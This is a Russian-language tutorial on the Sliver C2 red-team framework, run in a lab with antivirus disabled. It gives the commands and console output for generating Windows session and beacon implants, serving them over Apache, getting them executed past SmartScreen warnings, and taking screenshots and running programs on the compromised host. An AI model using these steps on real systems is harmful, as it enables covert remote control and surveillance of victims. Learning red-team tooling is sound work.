Sliver C2: Подробный туториал

Данная статья содержит подробный разбор нашумевшего в 2023 году инструмента Sliver, который набирает популярность среди хакеров. Подробнее об этом описано в новостях xaker.ru. Приятного прочтения!

106dd13bc7a02ceb279946869efde4bf.png

Дисклеймер: Все методы примененные в статье продемонстрированы в учебных целях

Что такое Sliver C2

Sliver C2 — это фреймворк Red Team с открытым исходным кодом, разработанный компанией BishopFox, занимающейся кибербезопасностью, и представляет собой кроссплатформенную среду постэксплуатации на основе Golang.
Он используется для выполнения второго этапа выполнения цепочки атак на внутреннюю сеть (когда компьютер жертвы уже был скомпрометирован доступными способами) и является альтернативой такого коммерческого инструмента как CobaltStrike, как утверждают сами производители.

Общие понятия:

  • implant — нагрузка, используемая для поддержания привилегий доступа на компьютере жертвы;

  • beacon — нагрузка, работающая в режиме маяка, обеспечивающая регулярное подключение к серверу;

  • stage — метод загрузки, поэтапный или непоэтапный.

Режимы работы:
1. Beacon mode: реализует асинхронный метод связи и регулярно проверяет её статус;
2. Session mode: реализует режим сеанса в реальном времени.

Преимущества:
1. Модульность, предоставляет множество расширений, например, в арсенале можно устанавливать различные инструменты сторонних производителей (BOF, .NET tools и т.д.)
2. Мультиплеер, позволяющий работать в группе из нескольких пользователей одновременно;
3. Открытый исходный код;
4. Кроссплатформенность (поддерживается на Linux, Windows и MacOS)

Архитектура Sliver C2

Архитектура Sliver C2 состоит из трёх частей:

  • Сервер Sliver C2. Сервер Sliver C2 является частью исполняемого файла sliver-server, управляет внутренней базой данных, а также запускает и останавливает сетевые прослушиватели. Основным интерфейсом взаимодействия с сервером является интерфейс gRPC, через него реализуются все функции.

  • Клиентская консоль. Клиентская консоль — это основной пользовательский интерфейс для взаимодействия с сервером Sliver C2.

  • Импланты. Импланты — это вредоносный код, нагрузка, (exe, ps1 и т. д.), запускаемая в целевой системе. Взаимосвязь и форму взаимодействия каждой части можно показать следующим образом:

664d3f5ce1c8422e1a2c848da0ba8cfe.png

Установка Sliver C2

Установить данный инструмент можно по ссылке https://github.com/BishopFox/sliver.
Посмотреть и скачать нужный для вас релиз можно по ссылке: https://github.com/BishopFox/sliver/releases
Официально рекомендуется развертывать Сервер на Linux (Windows не рекомендуется). Просто найдите соответствующую версию и загрузите версии Сервера и Клиента.
У Sliver есть две дополнительные функции, требующие внешних зависимостей: MinGW и Metasploit.

  1. Чтобы включить полезные нагрузки DLL (на серверах Linux) вам необходимо установить MinGW: sudo apt install mingw-w64

  2. Для включения некоторых функций интеграции с MSF необходимо установить также Metasploit: wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run После этого мы можем спокойно запустить наш сервер командой: ./sliver-server_linux

20063772ea0c2af8dcb13afaf16d9504.png

Если вы работаете один, на этом установка завершена, и вы можете напрямую выполнять соответствующие команды в терминале. Но если вы работаете в группе с несколькими клиентами, необходимы следующие шаги.

Создаем файл конфигурации для клиента:
new-operator --name <имя_клиента> --lhost
а также устанавливаем многопользовательский режим:
sliver > multiplayer

0ef7bc6494cc04a807591e74d44c5870.png

После этого, у нас создастся конфигурационный файл с именем нашего клиента и IP-адресом сервера: Bob_192.168.1.142.cfg

Установка клиента:
Теперь, нам нужно установить sliver_client, для того, чтобы загрузиться с нашего клиента.
Во время его запуска, нам нужно будет импортировать конфигурационный файл, который мы только что создали:
./sliver-client_linux import /home/kali/Desktop/Bob_192.168.1.142.cfg
После этого запускаем команду:
./sliver-client_linux
И видим, что мы подключились к сессии:

965e9fbd14c3fb22b400db1e0512ee86.png

Пример эксплуатации

Примечание: В примере не будут показаны варианты обхода антивирусной защиты, а лишь работа данного инструмент для ознакомления. Поэтому, на момент эксплуатации, мы выключим средства защиты.

Подготовка цели

Перейдите в Центр оценки Microsoft Windows и загрузите образ Windows. Лично я использовал образ Windows 10 Enterprise. Используйте его для создания виртуальной машины Windows. Все, что вам нужно, это базовая установка. Точный статус сборки и патча на данный момент не имеет большого значения.

После установки я рекомендую отключить все функции защиты. Если антивирус включен, ваши стандартные импланты Sliver умрут сразу после запуска или вообще не заработают. Вот как это должно выглядеть:

bb6e098ae51f0c28c5f757e58045c362.png

На вашем сервере C2 запустите веб-сервер:

systemctl start apache2

Примечание: Также можно использовать обычный http-сервер python:
python3 -m http.server 80

И тот, и другой вариант будут правильными.

Теперь мы можем копировать созданные нами импланты в папку /var/www/html и они будут доступны Apache. Чтобы не было ошибок с правами доступа, советую прописать:  chmod -R 777 /var/www/html.

Кроме того, запишите IP-адрес вашего сервера C2. В моём случае 192.168.1.142
На целевом компьютере Windows подтвердите, что вы можете получить доступ к серверу C2. Откройте браузер и попробуйте подключиться к серверу C2 через порт 80. Если все работает, должна загрузиться страница Apache по умолчанию:

Чтобы получить сеанс, можно сгенерировать имплант, доставить его к цели и там выполнить.

e374b4717f4cde5e6d26ebbfb32380bc.png

Создание импланта

Генерация импланта происходит на сервере C2 с помощью команды generate. Подключитесь к нему и пропишите help generate, чтобы прочитать обширную справочную страницу и узнать обо всех флагах. Наиболее важные из них следующие:

  • --mtls 192.168.1.142: указывает, что имплант должен подключаться к серверу Sliver с использованием соединения TLS с взаимной проверкой подлинности. В альтернативу TLS также есть:

  • --os windows: указывает, что мы хотим запустить имплант в Windows (это значение по умолчанию, поэтому мы можем опустить этот параметр). Также поддерживаются MacOS и Linux.

  • --arch amd64: указывает, что нам нужен 64-битный имплант (также значение по умолчанию, можно опустить). Кроме того есть --arch 386 для 32-битного.

  • --format exe: указывает, что нам нужен исполняемый файл (опять же по умолчанию). Другие варианты:

    • --format shared для динамических библиотек;

    • --format service двоичного файла службы Windows (можно использовать с командой psexec) и shellcode (только для Windows).

  • --save /var/www/html/: указывает каталог для сохранения двоичного файла.

Вот пример генерации двоичного файла, который сгенерировал Sliver (название файла выбирается случайно) MEDICAL_CHANGE.exe:

sliver > generate --mtls 192.168.1.142 --os windows --arch amd64 --format exe --save /var/www/html

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:18
[*] Implant saved to /var/www/html/MEDICAL_CHANGE.exe

Файл /var/www/html/MEDICAL_CHANGE.exe будет недоступен для сервера Apache поэтому, чтобы сделать его доступным, пропишите sudo chown www-data:www-data /var/www/html/MEDICAL_CHANGE.exe.
Теперь запустите прослушиватель mTLS на сервере C2 с помощью команды mtls(по умолчанию прослушиватель запускается на порту 8888). Посмотреть прослушиватели можно с помощью команды jobs:

sliver > mtls

[*] Starting mTLS listener ...
sliver > 
[*] Successfully started job #1

sliver > jobs

 ID   Name   Protocol   Port 
==== ====== ========== ======
 1    mtls   tcp        8888

На сервере C2 вы также можете убедиться, что порт 8888 теперь открыт:

┌──(root㉿kali)-[~/github/sliver]
└─# netstat -antop | grep 8888 
tcp6   0   0 :::8888      :::*      LISTEN   3434/sliver-server   off (0.00/0/0)

Доставка и установка импланта

В целевой системе Windows откройте браузер и загрузите имплант. Edge предупредит вас, что это не обычный файл. Вам нужно нажать на три точки, затем «Сохранить», чтобы подтвердить загрузку, а затем подтвердить второе предупреждение Defender SmartScreen с помощью «Все равно сохранить». Затем нажмите «Открыть файл» (или перейдите к файлу в проводнике и дважды щелкните его). Это вызовет еще одно предупреждение SmartScreen. Снова подтвердите, нажав «Выполнить в любом случае»:

c825db17593db8a5e005a202033388cf.png

После этого ваш имплант должен работать. На сервере C2 в Sliver вы должны увидеть такую ​​строку, которая указывает на то, что сеанс с имплантом установлен:

[*] Session 971c5a23 MEDICAL_CHANGE - 192.168.1.160:50051 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 22:36:48 CEST

Вы также можете запустить команду sessions, чтобы посмотреть список сессий:

sliver > sessions

 ID         Transport   Remote Address          Hostname          Username    
========== =========== ======================= ================= ========== 
 971c5a23   mtls        192.168.1.160:50051   DESKTOP-IPQVF9T   tester     
 
 Operating System   Health 
================== =========
 windows/amd64      [ALIVE]

Использование сеанса

Вы можете использовать свой сеанс с помощью команды use. Просто введите её и появится интерактивная подсказка, позволяющая выбрать сеанс. Нажмите Enter еще раз, и ваше приглашение изменится на имя импланта, MEDICAL_CHANGE  в моем случае. Сеанс теперь активен и готов принимать ваши команды. С помощью info вы можете получить подробную информацию о нагрузке:

sliver > use

? Select a session or beacon: SESSION  971c5a23  MEDICAL_CHANGE  192.168.1.160:50051  DESKTOP-IPQVF9T  DESKTOP-IPQVF9T\tester  windows/amd64
[*] Active session MEDICAL_CHANGE (971c5a23-73e0-4418-b9c2-266484546e0d)

sliver (MEDICAL_CHANGE) > info

        Session ID: 971c5a23-73e0-4418-b9c2-266484546e0d
              Name: MEDICAL_CHANGE
          Hostname: DESKTOP-IPQVF9T
              UUID: d512a12c-6b6d-4f19-814e-1f60088e9563
          Username: DESKTOP-IPQVF9T\tester
               UID: S-1-5-21-2966923018-1740081829-2498838087-1001
               GID: S-1-5-21-2966923018-1740081829-2498838087-513
               PID: 7244
                OS: windows
           Version: 10 build 19044 x86_64
              Arch: amd64
         Active C2: mtls://192.168.1.142:8888
    Remote Address: 192.168.1.160:50051
         Proxy URL: 
Reconnect Interval: 1m0s

Импланты Sliver поддерживают несколько команд. Полный список вы можете получить с помощью help. Функции включают в себя исследование файловой системы, копирование и загрузку файлов, переадресацию портов, создание снимков экрана и многое другое.
Например, мы можем сделать скриншот рабочего стола жертвы командой screenshot, и он запишется на ваш сервер:

sliver (MEDICAL_CHANGE) > screenshot

[*] Screenshot written to /tmp/screenshot_DESKTOP-IPQVF9T_20220701224728_3343901839.png (893.2 KiB)

Затем вы можете просмотреть снимок экрана на сервере C2:
Когда вы закончите сеанс, пропишите background, но сессия всё равно останется активной.

bd040943d18bbf5397b2844478dcf5d2.png

Чтобы фактически завершить сеанс, запустите session -k, а затем идентификатор сеанса:

sliver > sessions

 ID         Transport   Remote Address          Hostname          Username    
========== =========== ======================= ================= ========== 
 971c5a23   mtls        192.168.1.160:50051   DESKTOP-IPQVF9T   tester     
 
 Operating System   Health 
================== =========
 windows/amd64      [ALIVE] 

sliver > sessions -k 971c5a23

[!] Lost session 971c5a23 MEDICAL_CHANGE - 192.168.122.160:50051 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 22:52:53 CEST

Маяки (Beacons)

Создание маяка:

Создание импланта-маяка очень похоже на создание сеансового импланта. Вы используете команду generate beacon. Узнайте все о флагах с помощью help generate beacon. Помимо всех флагов, указанных выше, соответствующими флагами маяков являются:

  • --seconds 5: указывает, что маяк должен связываться с сервером C2 каждые 5 секунд. Также вы можете использовать --minutes или --hours, --days

  • --jitter 3: указывает, что к интервалу в 5 секунд должна быть добавлена ​​дополнительная случайная задержка до 3 секунд.

sliver > generate beacon --mtls 192.168.1.142 --os windows --arch amd64 --format exe --save /var/www/html --seconds 5 --jitter 3

[*] Generating new windows/amd64 beacon implant binary (5s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:18
[*] Implant saved to /var/www/html/STALE_PNEUMONIA.exe

Не забудьте прописать sudo chown www-data:www-data /var/www/html/STALE_PNEUMONIA.exe, чтобы сделать нагрузку доступной для Apache.

Доставка и установка импланта-маяка

Этот шаг такой же, как и для сессионного импланта. Просто скачайте и запустите файл. После этого вы должны увидеть запущенный процесс STALE_PNEUMONIA.exe:

6b4f49af8e7a966ee16b19bb10de9a67.png

Sliver подтверждает соединение маяка такой строкой:

[*] Beacon c9b67cda STALE_PNEUMONIA - 192.168.1.160:50080 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 23:08:31 CEST

Запустите команду beacons, чтобы получить список активных маяков:

sliver > beacons

 ID         Name              Transport   Username   Operating System  
========== ================= =========== ========== ================== 
 c9b67cda   STALE_PNEUMONIA   mtls        tester     windows/amd64     
  
  Last Check-In   Next Check-In 
=============== ===============
  1s ago          5s

Использование маяка

Как и в случае с сеансом, запустите команду use, выберите маяк, с которым хотите взаимодействовать, и нажмите Enter. Подсказка изменится на имя маяка, и вы сможете получить дополнительную информацию info:

sliver > use

? Select a session or beacon: BEACON  c9b67cda  STALE_PNEUMONIA  192.168.1.160:50080  DESKTOP-IPQVF9T  DESKTOP-IPQVF9T\tester  windows/amd64
[*] Active beacon STALE_PNEUMONIA (c9b67cda-75eb-4c30-8920-d743533266fc)

sliver (STALE_PNEUMONIA) > info

         Beacon ID: c9b67cda-75eb-4c30-8920-d743533266fc
              Name: STALE_PNEUMONIA
          Hostname: DESKTOP-IPQVF9T
              UUID: d512a12c-6b6d-4f19-814e-1f60088e9563
          Username: DESKTOP-IPQVF9T\tester
               UID: S-1-5-21-2966923018-1740081829-2498838087-1001
               GID: S-1-5-21-2966923018-1740081829-2498838087-513
               PID: 1748
                OS: windows
           Version: 10 build 19044 x86_64
              Arch: amd64
         Active C2: mtls://192.168.1.142:8888
    Remote Address: 192.168.1.160:50080
         Proxy URL: 
          Interval: 5s
            Jitter: 3s

Используйте команду help, чтобы просмотреть список всех доступных команд. В приведенном ниже примере я открывал блокнот execute notepad, и, чтобы проверить, работает ли он, я сделал скриншот screenshot. Действительно, вы можете видеть, что блокнот был открыт:

65af7b095579f0fa69a9890d4d29a196.png

Обратите внимание, как каждая команда превращается в задачу. Поскольку соединение маяка непостоянное, вам придется дождаться следующей регистрации, пока не будут выполнены ваши команды. Чтобы увидеть список всех задач и их статус, используйте команду tasks. Этот пример показывает, что обе команды выполнены успешно:

sliver (STALE_PNEUMONIA) > tasks

 ID         State       Message Type   Created                         
========== =========== ============== ================================  
 93764fdb   completed   Screenshot     Fri, 01 Jul 2022 23:15:23 CEST    
 35d81817   completed   Execute        Fri, 01 Jul 2022 23:14:35 CEST  

 Sent                             Completed                      
 =============================== ===============================
  Fri, 01 Jul 2022 23:15:28 CEST Fri, 01 Jul 2022 23:15:28 CEST 
  Fri, 01 Jul 2022 23:14:36 CEST Fri, 01 Jul 2022 23:14:36 CEST
  

Теперь вы можете отключить маяк в фоновом режиме, как в сеансе.

От маяков к сессиям

Чтобы перейти от режима маяка к режиму сеанса достаточно использовать команду interactive. Для иллюстрации предположим, что вы только что получили маяк, как показано ниже:

[*] Beacon 50010ca8 mtlsbeacon - 192.168.122.160:50422 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 23:24:17 CEST

sliver > beacons

 ID         Name         Transport   Username   Operating System   Last Check-In   Next Check-In 
========== ============ =========== ========== ================== ===============
 50010ca8   mtlsbeacon   mtls        tester     windows/amd64      4s ago        

 Next Check-In
 ===============
   1m11s         

sliver > sessions

[*] No sessions

Если у нас нет запущенного сеанса, то вам достаточно использовать маяк use и ввести interactive. Это ставит в очередь новую задачу, которая попытается установить сеанс. Теперь дождитесь следующего подключения, и должна появиться новая сессия:

sliver > use 50010ca8-d96d-4cff-81da-756c1e680fc2

[*] Active beacon mtlsbeacon (50010ca8-d96d-4cff-81da-756c1e680fc2)

sliver (mtlsbeacon) > interactive

[*] Using beacon's active C2 endpoint: mtls://192.168.1.142:8888
[*] Tasked beacon mtlsbeacon (a050cc2a)

[*] Session ab1ecb8a mtlsbeacon - 192.168.122.160:50425 (DESKTOP-IPQVF9T) - windows/amd64 - Fri, 01 Jul 2022 23:25:32 CEST

sliver (mtlsbeacon) > sessions

 ID         Transport   Remote Address          Hostname          Username   Operating System   Health  
========== =========== ======================= ================= ========== 
 ab1ecb8a   mtls        192.168.1.160:50425   DESKTOP-IPQVF9T   tester     
 
 Operating System   Health 
 ================== =========
 windows/amd64      [ALIVE]

По умолчанию сеанс будет создан с использованием того же протокола C2, который используется маяком. Однако можно было указать и другой, при условии, что его поддержка была скомпилирована в имплант (да, можно указать одновременно более одного протокола C2). Введите interactive --help, чтобы посмотреть все варианты.

Профили

Создание импланта может быть утомительным, поскольку вам придется вводить очень много вариантов. Чтобы упростить задачу, определите многоразовые профили с общей конфигурацией импланта. Ниже я продемонстрирую это для имплантов сеанса и маяка.
Создайте профиль импланта сеанса с помощью profiles new. Например, этот профиль соответствует сеансовому импланту, созданному выше:

sliver (STALE_PNEUMONIA) > profiles new --mtls 192.168.1.142 --os windows --arch amd64 --format exe session_win_default

[*] Saved new implant profile session_win_default

С помощью profiles generate этого профиля вы можете создать новый сеансовый имплант. Например:

sliver (STALE_PNEUMONIA) > profiles generate --save /var/www/html/ session_win_default

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:18
[*] Implant saved to /var/www/html/CAUTIOUS_UNITY.exe

С помощью profiles new beaconвы также можете создать профиль маяка:

sliver > profiles new beacon --mtls 192.168.1.142 --os windows --arch amd64 --format exe  --seconds 5 --jitter 3 beacon_win_default

[*] Saved new implant profile (beacon) beacon_win_default

Создайте имплант-маяк:

sliver > profiles generate --save /var/www/html/ beacon_win_default

[*] Generating new windows/amd64 beacon implant binary (5s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:18
[*] Implant saved to /var/www/html/WELSH_SECURE.exe

Чтобы просмотреть все сгенерированные вами импланты, используйте команду implants:

sliver > implants

 Name              Implant Type   OS/Arch             Format   
================= ============== =============== ============ ================================= =======
 CAUTIOUS_UNITY    session        windows/amd64   EXECUTABLE 
 MEDICAL_CHANGE    session        windows/amd64   EXECUTABLE 
 STALE_PNEUMONIA   beacon         windows/amd64   EXECUTABLE 
 WELSH_SECURE      beacon         windows/amd64   EXECUTABLE

Command & Control                 Debug 
================================= =======
[1] mtls://192.168.1.142:8888   false 
[1] mtls://192.168.1.142:8888   false 
[1] mtls://192.168.1.142:8888   false 
[1] mtls://192.168.1.142:8888   false 

Заключение

На мой взгляд, самым большим преимуществом Sliver является то, что его труднее обнаружить системе, что не скажешь про другие инструменты. Кроме того, он кроссплатфоменный и более прост в установке. Однако минусом является его генерируемая оболочка, которая достаточно велика, относительно других фреймворков. Сам фреймворк достаточно похож на CobaltStrike, но превосходит его за счёт большого функционала.

© Habrahabr.ru